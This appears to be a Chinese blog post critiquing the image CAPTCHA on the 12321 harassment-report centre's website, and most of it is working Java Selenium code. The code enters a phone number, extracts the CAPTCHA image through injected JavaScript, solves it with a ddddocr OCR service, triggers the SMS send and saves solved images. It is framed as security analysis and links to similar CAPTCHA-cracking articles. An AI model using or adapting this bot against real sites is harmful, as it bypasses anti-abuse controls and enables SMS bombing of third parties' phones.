前言
由于網站注冊入口容易被黑客攻擊,存在如下安全問題:
- 暴力破解密碼,造成用戶信息泄露
- 短信盜刷的安全問題,影響業務及導致用戶投訴
- 帶來經濟損失,尤其是后付費客戶,風險巨大,造成虧損無底洞
所以大部分網站及App 都采取圖形驗證碼或滑動驗證碼等交互解決方案, 但在機器學習能力提高的當下,連百度這樣的大廠都遭受攻擊導致點名批評, 圖形驗證及交互驗證方式的安全性到底如何? 請看具體分析
一、 12321騷擾電話舉報受理中心-PC舉報入口
簡介:12321網絡不良與垃圾信息舉報受理中心(以下簡稱"12321受理中心")為中國互聯網協會受工業和信息化部委托設立的投訴受理機構。負責協助工業和信息化部承擔關于互聯網、移動電話網、固定電話網等各種形式信息通信網絡及電信業務中不良與垃圾信息的投訴受理、線索轉辦及信息統計等工作。
二丶 安全分析:
采用傳統的圖形驗證碼方式,具體為5個英文字母,ocr 識別率在 95% 以上。
?
測試方法:
采用模擬器+OCR識別
1. 模擬器交互
public RetEntity send(WebDriver driver, String areaCode, String phone) {RetEntity retEntity = new RetEntity();try {driver.get(INDEX_URL);String windowHandle = driver.getWindowHandle();// 切換到隨機碼登錄driver.findElement(By.xpath("//a[@href='/notifyHomePhone']")).click();Thread.sleep(1 * 1000);driver.close();Set<String> windowHandles = driver.getWindowHandles();for (String key : windowHandles) {if (!key.equals(windowHandle)) {driver.switchTo().window(key);}}String js = "pageSubmit();";((JavascriptExecutor) driver).executeScript(js);Thread.sleep(1 * 1000);// 1 輸入手機號WebElement phoneElemet = driver.findElement(By.id("phone"));phoneElemet.sendKeys(phone);byte[] imgByte = GetImage.callJsById(driver, "code");int len = (imgByte != null) ? imgByte.length : 0;String imgCode = (len > 0) ? ddddOcr.getImgCode(imgByte) : null;System.out.println("len=" + len + ",imgCode=" + imgCode);// 2 輸入圖形驗證碼driver.findElement(By.id("w_code")).sendKeys(imgCode);WebElement getCodeElement = driver.findElement(By.xpath("//a[contains(text(),'獲取短信驗證碼')]"));getCodeElement.click();Thread.sleep(1 * 1000);boolean isAlert = this.isAlert(driver);if (isAlert) {return retEntity;}WebElement gtElement = ChromeDriverManager.waitElement(driver, By.id("Time"), 1);String msg = gtElement != null ? gtElement.getText() : null;retEntity.setMsg(msg);if (msg != null && msg.contains("重新獲取")) {ddddOcr.saveFile("One2321", imgCode, imgByte);retEntity.setRet(0);}} catch (Exception e) {System.out.println(e.toString());retEntity.setRet(-1);retEntity.setMsg(e.toString());} finally {driver.manage().deleteAllCookies();}return retEntity;}
2. 獲取圖形驗證碼
public static byte[] callJsById(WebDriver driver, String id) {return callJsById(driver, id, null);}public static byte[] callJsById(WebDriver driver, String id, StringBuffer base64) {String js = "let c = document.createElement('canvas');let ctx = c.getContext('2d');";js += "let img = document.getElementById('" + id + "'); /*找到圖片*/ ";js += "c.height=img.naturalHeight;c.width=img.naturalWidth;";js += "ctx.drawImage(img, 0, 0,img.naturalWidth, img.naturalHeight);";js += "let base64String = c.toDataURL();return base64String;";String src = ((JavascriptExecutor) driver).executeScript(js).toString();String base64Str = src.substring(src.indexOf(",") + 1);if (base64 != null) {base64.append(base64Str);}byte[] vBytes = (base64Str != null) ? imgStrToByte(base64Str) : null;return vBytes;}
3.圖形驗證碼識別(Ddddocr)
public String getImgCode(byte[] bigImage) {try {if (ddddUrl == null) {System.out.println("ddddUrl=" + ddddUrl);return null;}long time = (new Date()).getTime();HttpURLConnection con = null;String boundary = "----------" + String.valueOf(time);String boundarybytesString = "\r\n--" + boundary + "\r\n";OutputStream out = null;URL u = new URL(ddddUrl);con = (HttpURLConnection) u.openConnection();con.setRequestMethod("POST");con.setConnectTimeout(10000);con.setReadTimeout(10000);con.setDoOutput(true);con.setDoInput(true);con.setUseCaches(true);con.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);out = con.getOutputStream();if (bigImage != null && bigImage.length > 0) {out.write(boundarybytesString.getBytes("UTF-8"));String paramString = "Content-Disposition: form-data; name=\"image\"; filename=\"" + "bigNxt.gif" + "\"\r\n";paramString += "Content-Type: application/octet-stream\r\n\r\n";out.write(paramString.getBytes("UTF-8"));out.write(bigImage);}String tailer = "\r\n--" + boundary + "--\r\n";out.write(tailer.getBytes("UTF-8"));out.flush();out.close();StringBuffer buffer = new StringBuffer();BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), "UTF-8"));String temp;while ((temp = br.readLine()) != null) {buffer.append(temp);}String ret = buffer.toString();if (ret.length() < 1) {System.out.println("ddddUrl=" + ddddUrl + " ret=" + buffer.toString());}return buffer.toString();} catch (Throwable e) {logger.error("ddddUrl=" + ddddUrl + ",e=" + e.toString());return null;}}public void saveFile(String factory, String imgCode, byte[] imgByte) {try {String basePath = ConstTable.codePath + factory + "/";File ocrFile = new File(basePath + imgCode + ".png");FileUtils.writeByteArrayToFile(ocrFile, imgByte);} catch (Exception e) {logger.error("saveFile() " + e.toString());}}
4. 圖形OCR識別結果:
5. 測試返回結果:
三 丶測試報告 :
四丶結語
12321騷擾電話舉報受理中心,作為工信部下屬的電信業務管理機構, 采用的還是老一代的圖形驗證碼已經落伍了, 用戶體驗一般,容易被破解, 本身就是受理用戶被騷擾的業務, 如果12321本身被黑客攻擊, 造成短信大面積騷擾用戶,將會對老百姓形成騷擾,影響聲譽。
很多人在短信服務剛開始建設的階段,可能不會在安全方面考慮太多,理由有很多。
比如:“ 需求這么趕,當然是先實現功能啊 ”,“ 業務量很小啦,系統就這么點人用,不怕的 ” , “ 我們怎么會被盯上呢,不可能的 ”等等。有一些理由雖然有道理,但是該來的總是會來的。前期欠下來的債,總是要還的。越早還,問題就越小,損失就越低。
所以大家在安全方面還是要重視。(血淋淋的栗子!)#安全短信#
戳這里→康康你手機號在過多少網站注冊過!!!
谷歌圖形驗證碼在AI 面前已經形同虛設,所以谷歌宣布退出驗證碼服務, 那么當所有的圖形驗證碼都被破解時,大家又該如何做好防御呢?
>>相關閱讀
《騰訊防水墻滑動拼圖驗證碼》
《百度旋轉圖片驗證碼》
《網易易盾滑動拼圖驗證碼》
《頂象區域面積點選驗證碼》
《頂象滑動拼圖驗證碼》
《極驗滑動拼圖驗證碼》
《使用深度學習來破解 captcha 驗證碼》
《驗證碼終結者-基于CNN+BLSTM+CTC的訓練部署套件》